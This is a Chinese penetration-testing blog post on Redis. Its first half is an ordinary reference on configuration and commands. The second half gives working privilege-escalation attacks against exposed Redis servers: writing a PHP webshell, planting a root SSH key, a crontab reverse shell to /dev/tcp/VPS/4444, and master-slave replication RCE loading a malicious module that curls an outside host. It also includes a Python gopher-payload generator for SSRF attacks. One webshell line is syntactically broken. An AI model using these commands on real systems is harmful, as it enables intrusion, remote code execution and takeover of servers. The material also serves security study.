首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >渗透测试怎么利用Redis提权

渗透测试怎么利用Redis提权

作者头像
h0cksr
发布2023-05-17 09:40:26
发布2023-05-17 09:40:26
1.7K0
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋

渗透测试怎么利用Redis提权

[TOC]

之前就有做过一些redis的题目, 不过一直没去了解过redis的操作命令,结果这次做渗透测试就用到了所以又去学了一遍, 在这里记一下一些常用的操作命令再贴几个提权方式方便以后要使用redis的时候参考吧

以下redis的特性和命令内容均参考于菜鸟教程Redis教程

Redis介绍

redis的一些特性

  • Redis 是完全开源,遵守 BSD 协议的高性能 key-value 数据库。
  • Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
  • Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。

安装

windows

linux :

代码语言:javascript
复制
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server

安装好后有两个模式 : 服务端redis-server和客户端redis-cli

服务端开启redis服务 :

代码语言:javascript
复制
$ redis-server redis.conf
后面的配置文件为可选项

客户端连接redis服务 :

代码语言:javascript
复制
redis-cli -h 127.0.0.1 -p 6379 <-a password>
如果出现中文乱码可以加上--raw

配置参数

参数名 : 默认参数

参数介绍

requirepass foobared

设置Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH 命令提供密码,默认关闭

dbfilename : dump.rdb

指定本地数据库文件名,默认值为 dump.rdb

dir : ./

指定本地数据库存放目录

maxmemory <bytes>

指定 Redis 最大内存限制,Redis 在启动时会把数据加载到内存中,达到最大内存后,Redis 会先尝试清除已到期或即将到期的 Key,当此方法处理 后,仍然到达最大内存设置,将无法再进行写入操作,但仍然可以进行读取操作。Redis 新的 vm 机制,会把 Key 存放内存,Value 会存放在 swap

pidfile : /var/run/redis.pid

当 Redis 以守护进程方式运行时,Redis 默认会把 pid 写入 /var/run/redis.pid 文件,可以通过 pidfile 指定

port : 6379

指定 Redis 监听端口,默认端口为 6379

bind : 127.0.0.1

绑定的主机地址

loglevel : notice

指定日志记录级别,Redis 总共支持四个级别:debug、verbose、notice、warning,默认为 notice

logfile : stdout

日志记录方式,默认为标准输出,如果配置 Redis 为守护进程方式运行,而这里又配置为日志记录方式为标准输出,则日志将会发送给 /dev/null

daemonize : no

Redis 默认不是以守护进程的方式运行,可以通过该配置项修改,使用 yes 启用守护进程

save

指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 ,Redis 默认配置文件中提供了三个条件:save 900 1 save 300 10 save 60 10000 分别表示 900 秒(15 分钟)内有 1 个更改,300 秒(5 分钟)内有 10 个更改以及 60 秒内有 10000 个更改。

rdbcompression : yes

指定存储至本地数据库时是否压缩数据,默认为 yes,Redis 采用 LZF 压缩,如果为了节省 CPU 时间,可以关闭该选项,但会导致数据库文件变的巨大

slaveof <masterip> <masterport>

设置当本机为 slave 服务时,设置 master 服务的 IP 地址及端口,在 Redis 启动时,它会自动从 master 进行数据同步

appendfilename : appendonly.aof

指定更新日志文件名,默认为 appendonly.aof

appendfsync : everysec

指定更新日志条件,共有 3 个可选值。 no:表示等操作系统进行数据缓存同步到磁盘(快) always:表示每次更新操作后手动调用 fsync() 将数据写到磁盘(慢,安全) everysec:表示每秒同步一次(折中,默认值)

vm-enabled : no

指定是否启用虚拟内存机制,默认值为 no,简单的介绍一下,VM 机制将数据分页存放,由 Redis 将访问量较少的页即冷数据 swap 到磁盘上,访问多的页面由磁盘自动换出到内存中(在后面的文章我会仔细分析 Redis 的 VM 机制)

vm-swap-file : /tmp/redis.swap

虚拟内存文件路径,默认值为 /tmp/redis.swap,不可多个 Redis 实例共享

include : /path/to/local.conf

指定包含其它的配置文件,可以在同一主机上多个Redis实例之间使用同一份配置文件,而同时各个实例又拥有自己的特定配置文件

masterauth : <master-password>

当 master 服务设置了密码保护时,slave 服务连接 master 的密码

☆☆☆redis配置项操作&&连接 命令 ☆☆☆

redis配置命令

CONFIG GET parameter

获取指定配置参数的值(config get * 获取全部配置)

CONFIG SET parameter value

修改 redis 配置参数

SAVE

同步保存数据到硬盘

BGSAVE

在后台异步保存当前数据库的数据到磁盘

DBSIZE

返回当前数据库的 key 的数量

SELECT index

切换到指定的数据库

keys *

列出当前数据库全部键值,然后可通过type+键名的方式输出类型然后使用对应命令输出value(这个操作比较常用所以就加到这里来了)

DEBUG OBJECT key

获取 key 的调试信息

FLUSHALL

删除所有数据库的所有key

FLUSHDB

删除当前数据库的所有key

LASTSAVE

返回最近一次 Redis 成功将数据保存到磁盘上的时间,以 UNIX 时间戳格式表示(结合显示当前时间的函数TIME可以检测文件修改是否成功)

MONITOR

实时打印出 Redis 服务器接收到的命令,调试用

ROLE

返回主从实例所属的角色

SLAVEOF host port

将当前服务器转变为指定服务器的从属服务器(slave server)

SYNC

用于复制功能(replication)的内部命令

CONFIG RESETSTAT

重置 INFO 命令中的某些统计数据

redis连接命令

AUTH password

验证密码是否正确(AUTH "password")

PING

查看服务是否运行

QUIT

关闭当前连接

CLIENT LIST

获取连接到服务器的客户端连接列表

CLIENT GETNAME

获取连接的名称

CLIENT SETNAME connection-name

设置当前连接的名称

redis键值对操作命令

Redis 键(key)

keys *

列出当前数据库全部键值,然后可通过get+键名的方式输出value

del key

该命令用于在 key 存在时删除 key。

dump key

序列化给定 key ,并返回被序列化的值。

exists key

检查给定 key 是否存在。

expire key

为给定 key 设置过期时间,以秒计。

move db_key

将当前数据库的 key 移动到给定的数据库 db 当中。

presist key

移除 key 的过期时间,key 将持久保持。

rename key newkey

修改 key 的名称

type key

返回 key 所储存的值的类型。

Redis 字符串(String)

SET key value

设置指定 key 的值

GET key

获取指定 key 的值。

GETSET key value

将给定 key 的值设为 value ,并返回 key 的旧值(old value)。

redis的Hash, List, Set, Sorted set操作命令

Redis 哈希(Hash)

HMSET key field1 value1 field2 value2

同时将多个 field-value (域-值)对设置到哈希表 key 中。

HLEN key

获取所有哈希表中的字段

HGETALL key

获取在哈希表中指定 key 的所有字段和值

HVALS key

获取哈希表中所有值。

Redis 列表(List)

LRANGE key start stop

获取列表指定范围内的元素(LRANGE runoobkey 0 10)

Redis 集合(Set)

SMEMBERS key

返回集合中的所有成员

Redis 有序集合(sorted set)

ZRANGE key start stop [WITHSCORES]

通过索引区间返回有序集合指定区间内的成员(ZRANGE runoobkey 0 10 WITHSCORES)

订阅

Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者 (sub) 接收消息。

Redis 客户端可以订阅任意数量的频道。

当有新消息通过 PUBLISH 命令发送给频道 channel1 时, 这个消息就会被发送给订阅它的三个客户端:

代码语言:javascript
复制
cahnnel1为发布订阅者(通过`PUBLISH 频道名 信息`发出广播)
client为消息订阅者(通过`SUBSCRIBE 频道名`收听广播)

例如, 服务端执行redis-server建立一个redis服务

k1和k2两个用户通过redis-cli连接服务

进入redis后k1执行PUBLISH sayhello "Hello everybody"

进入redis后k2执行SUBSCRIBE sayhello

然后k1发送的消息Hello everybody就会被k2收到

并且之后k1通过PUBLISH sayhello 发送的消息都会被k2接收到,如果k2不想再接收信息可以通过 UNSUBSCRIBE 频道名命令退订频道

Redis 事务+脚本

Redis 事务

就是不断输入命令但是不执行, 直到收到EXEC命令后直接执行前面输入的全部命令

代码语言:javascript
复制
redis 127.0.0.1:7000> multi
OK
redis 127.0.0.1:7000> set a aaa
QUEUED
redis 127.0.0.1:7000> set b bbb
QUEUED
redis 127.0.0.1:7000> set c ccc
QUEUED
redis 127.0.0.1:7000> exec
1) OK
2) OK
3) OK

MULTI

标记一个事务块的开始。

EXEC

执行所有事务块内的命令。

DISCARD

取消事务,放弃执行事务块内的所有命令。

Redis 脚本

代码语言:javascript
复制
redis 127.0.0.1:6379> EVAL "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second

1) "key1"
2) "key2"
3) "first"
4) "second"
代码语言:javascript
复制
EVAL script numkeys key [key ...] arg [arg ...]
执行 Lua 脚本。
EVALSHA sha1 numkeys key [key ...] arg [arg ...]
执行 Lua 脚本。

使用Redis提权

首先我们要做的第一步是登录到Redis里面去, 可进入方式有:

  1. redis未授权访问漏洞
    • 原因可看上面的参数配置requirepass,默认情况下是可无密码登录的
  2. 弱口令

进入到redis客户端环境之后我们可以通过修改dirdbfilename参数达到在指定文件写内容文件的目的,

redis写webshell

直接执行以下命令(用户要有响应权限才行)

代码语言:javascript
复制
config get dir
config get dbfilename
#查看当前数据存储目录和数据存放文件
flushall
config set dir "/var/www/html"
config set dbfilename "shell.php"
set x "\r\n\r\n<?php phpinfo()$_REQUEST[0];?>\r\n\r\n"
save
#或执行dbsave也可以

之所以要输入换行是因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

如果我们有对应的读写权限的话那么此时系统就会多出一个文件/var/www/html/shell.php

完成写入shell后我们去访问即可触发

利用"公私钥"认证获取root权限

这个要求我们进入靶机的redis后有root权限进入/root/.ssh

  1. 进入自己服务器的/root/.ssh目录
  2. 通过ssh-keygen -t rsa得到一对公私钥, 然后执行

echo -e "\n\n";catid_rsa.pub;echo -e "\n\n" | redis-cli -h redis_ip -x set crack

​ 将生成的ssh公钥写入redis(如果成功会返回一个OK)

登录靶机的redis服务redis-cli -h redis_ip

代码语言:javascript
复制
config get dir
config get dbfilename
#查看当前数据存储目录和数据存放文件
config set dir "/root/.ssh"
config set dbfilename "authorized_keys"
save
#或bgsave

如果写入成功,那么我们直接在自己的服务器执行

代码语言:javascript
复制
ssh -i /root/.ssh/id_rsa root@redis_ip

即可无密码登录redis服务器且得到root权限

使用crontab定时任务反弹shell

直接redis-cli -h redis_ip进入redis服务然后执行:

代码语言:javascript
复制
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/VPS/4444 0>&1\n\n"
save

然后登录自己的VPS服务器nc -vlp 4444监听4444端口大约1分钟收到redis服务器反弹的shell

redis主从复制rce

这个主从复制的拓展导致执行so文件的原理我也不是很懂, 先直接贴一下吧, 以后搞明白深层原理在写一篇文章说一下吧(埋个坑哈哈哈

 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

  在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码 https://github.com/RicterZ/RedisModules-ExecuteCommand (现在已经访问不了了不过项目redis-rogue-server里面有自带的so文件)

  在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

这里有2个github项目工具可以使用(推荐第一个):

https://github.com/n0b0dyCN/redis-rogue-server (自带exp.so和redismodule.c源码文件)
https://github.com/Ridter/redis-rce (无exp.so文件)
代码语言:javascript
复制
python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f exp.so

如果想要自己手动的话可以使用以下payload测试(监听port2是收到请求):

代码语言:javascript
复制
config set dir /tmp/
config set dbfilename /tmp/
slaveof vps port1
module load /tmp/exp.so
system.exec 'curl http://vps:port2'
quit

SSRF+gopher打内网redis

PHP的cURL 函数也可以加载gopher协议,相当于系统执行了curl url的效果

这时如果redis服务在内网此时我们就可以通过PHP的cURL去打内网的redis了,实例可以参考 2021极客大挑战givemeyourlove

gopher协议格式:

代码语言:javascript
复制
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70

redis协议格式:

代码语言:javascript
复制
*<参数数量> CR LF
<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

我们可以使用gopher协议请求生成工具来生成我们所想要的gopher数据流

里面不仅有redis的gopher协议数据流生成工具, 还可以生成fastcgi和mysql连接请求的gopher协议数据流

hopher协议生成脚本:

代码语言:javascript
复制
import urllib

HOST = "127.0.0.1"
PORT = "6379"

def ord2hex(string):
    return '%'+'%02x' % (ord(string))

exp = "gopher://%s:%s/_" % (HOST, PORT)

for line in open("redis.cmd", "r"):
    word = ""
    str_flag = False
    redis_resps = []
    for char in line:
        if str_flag == True:
            if char == '"' or char == "'":
                str_flag = False
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
        elif word == "" and (char == '"' or char == "'"):
            str_flag = True
        else:
            if char == " ":
                if word != "":
                    redis_resps.append(word)
                word = ""
            elif char == "\n":
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
    #print redis_resps
    tmp_line = '*' + str(len(redis_resps)) + '\r\n'
    for word in redis_resps:
        tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n'
    exp += "".join([ord2hex(i) for i in tmp_line])

print exp

在同目录下的redis.cmd文件写入要执行的redis命令

代码语言:javascript
复制
flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

输出的内容即为gopher请求redis执行命令的链接,本地打开redis服务即可测试

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-3-17 1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 渗透测试怎么利用Redis提权
  • Redis介绍
    • redis的一些特性
    • 安装
    • 配置参数
    • ☆☆☆redis配置项操作&&连接 命令 ☆☆☆
    • redis键值对操作命令
      • redis的Hash, List, Set, Sorted set操作命令
    • 订阅
    • Redis 事务+脚本
      • Redis 事务
      • Redis 脚本
  • 使用Redis提权
    • redis写webshell
    • 利用"公私钥"认证获取root权限
    • 使用crontab定时任务反弹shell
    • redis主从复制rce
    • SSRF+gopher打内网redis
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档